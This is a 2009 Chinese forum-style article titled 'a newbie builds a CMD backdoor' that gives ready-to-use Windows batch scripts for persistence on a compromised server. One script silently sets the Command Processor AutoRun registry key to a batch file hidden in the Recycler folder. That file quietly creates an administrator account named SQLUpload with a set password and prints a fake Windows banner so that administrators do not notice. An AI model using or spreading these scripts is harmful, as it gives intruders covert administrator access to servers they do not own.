首页 电脑 电脑学堂 查看内容

菜鸟打造CMD后门

2009-4-7 11:24 534 0

摘要: 看了冰的原点的帖子感觉有许多不足。NTFS分区的回收站是:Recycler而不是Recycled我为什么说NTFS分区呢?因为大部分服务器为了安全,都把分区给转换为了NTFS分区(我见过N多服务器,暂...
关键词: nbsp ECHO door Microsoft Recycler 命令 服务器 回收站 bat reg

看了冰的原点的帖子感觉有许多不足。NTFS分区的回收站是:Recycler而不是Recycled我为什么说NTFS分区呢?因为大部分服务器为了安全,都把分区给转换为了NTFS分区(我见过N多服务器,暂时没见过别的分区格式的)而冰的原点批处理是以FAT32类型的回收站,也就是:Recycled并且执行cmd命令后,会有命令执行完成的提示,稍微有点常识的管理员就会认识到服务器被提权鸟。 这个问题也纠缠了我半天,后来想到了清屏命令,所以就改了下批处理。 以下是引用片段:ECHO Windows Registry Editor Version 5.00>door.reg ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]>>door.reg ECHO "autorun"="c:\\Recycler\\1.bat">>door.reg REGEDIT /S door.reg DEL /F /Q door.reg copy 1.bat c:\\Recycler\\1.bat /Y用记事本保存为:注册系统环境.bat 以下是引用片段:@ECHO OFF net user SQLUpload ducun /add cls net localgroup administrators SQLUpload /add cls @ECHO Microsoft Windows 2003 [版本 5.1.2600] @ECHO (C) 版权所有 1985-2001 Microsoft Corp. 用记事本保存为:1.bat
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部